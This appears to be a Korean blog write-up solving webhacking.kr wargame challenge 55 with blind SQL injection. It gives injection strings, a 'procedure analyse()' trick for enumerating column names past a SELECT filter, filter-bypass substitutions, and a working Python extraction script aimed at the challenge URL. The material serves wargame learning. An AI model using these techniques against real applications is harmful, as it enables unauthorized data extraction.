[webhacking.kr] 55번 문제 풀이[Blind SQL Injection]

1 분 소요

💡 Webhacking.kr challenge(old) 55번 문제에 대한 풀이입니다.

문제

게임 화면

image

랭킹 조회 화면

image

마우스를 움직이면 그림이 따라움직이고, score가 DB에 저장됩니다.

image

실패한 시도

우선 성공하진 못했지만 처음 시도한 방법은 insert 문을 이용해서 DB에 추가적인 데이터 삽입을 시도했습니다. 현재 score에 따라서 DB에는 다음과 같이 데이터가 들어갑니다. trim 함수는 주어진 문자열의 맨 앞과 맨 뒤의 공백을 제거하는 함수기 때문에 score에 공백만 주지 않는다면 다음과 동일하게 작동합니다.

insert into chall55 values('{id}','{score}','{flag}')

따라서 score에 다음과 같이 injection을 시도합니다. 이때, score로 넣는 값은 ranking에서 조회되지 않는 점수들입니다.

score = 8080','flag'),(database(),'8081

그러면 다음과 같이 쿼리문이 작동하여, 8081을 조회하면 DB명이 들어갈 것입니다.

insert into chall55 values('oksusu98','8080','flag'),(database(),'8081','flag')

하지만 시도해보니 DB에 insert 가 되지 않았습니다. 아마 뒤에서 내부 로직으로 필터링 하는 로직이 있는 것 같습니다.

문제 풀이

그 다음에 시도한 부분은 랭킹에서 테이블을 검색해오는 부분의 sql 을 인젝션 해봤습니다. table에서 데이터를 검색해오는 로직은 다음과 같이 추정됩니다.

select * from chall55 where score = {}; # score int형인 경우
select * from chall55 where score = '{}'; # score char형인 경우

시도 해본 결과 score는 int형으로 저장되어 있었고, 다음과 같이 injection을 시도해보니 성공적으로 되었습니다.

2=2로 시도한 결과

image

2=1로 시도한 결과

image

우선 score로 blind sql injection을 수행 가능함을 알았습니다.

그리고 blind sql injection을 수행하는데 select 문이 필터링 되어 있었습니다.

image

select 문이 필터링 되어있을때, 테이블명을 알아오는 방법은 procedure analyse()를 이용하는 방법이 있어서 이를 이용했습니다.

score = 1 procedure analyse()

image

실행결과 DB명, table명, column 명을 알수 있었습니다. 이제 차례대로 column명을 알아옵니다.

score = 1 limit 1,1 procedure analyse()

image

score = 1 limit 2,1 procedure analyse()

image

Flag가 들어있는 컬럼명을 알아냈습니다. 이를 이용해서 blind sql injection을 수행하면 됩니다.

blind sql injection에 사용한 코드는 다음과 같으며 필터링을 우회한 기법으로는 다음 2가지를 사용했습니다.

  1. ascii -> ord 우회
  2. substr -> right(left(‘string’,1),1) 우회
import requests
import string

url = "https://webhacking.kr/challenge/web-31/rank.php"
params = {}
TRUE_FLAG = 'Piterpan'  # 1=1 일때 화면에 출력되는 id

password_length = 0
for i in range(40):
    payload = "(length(p4ssw0rd_1123581321) = {})".format(i)
    params['score'] = payload
    response = requests.get(url,params=params)
    if(TRUE_FLAG in response.text):
        password_length = i
        print('[+] Password length is',i)
        break

# 비밀번호 길이 31
# substr(password,3,1) -> right(left(right,3),1)
flag = ''
for i in range(1,password_length+1):
    for character in string.printable:
        payload = '(ord( right(left(p4ssw0rd_1123581321,{}),1)) = {})'.format(i,ord(character))
        params['score'] = payload
        response = requests.get(url,params=params)
        if(TRUE_FLAG in response.text):
            flag += character
            print('\r[+]',i,flag,end='')
            break
    print()

print(flag)

댓글남기기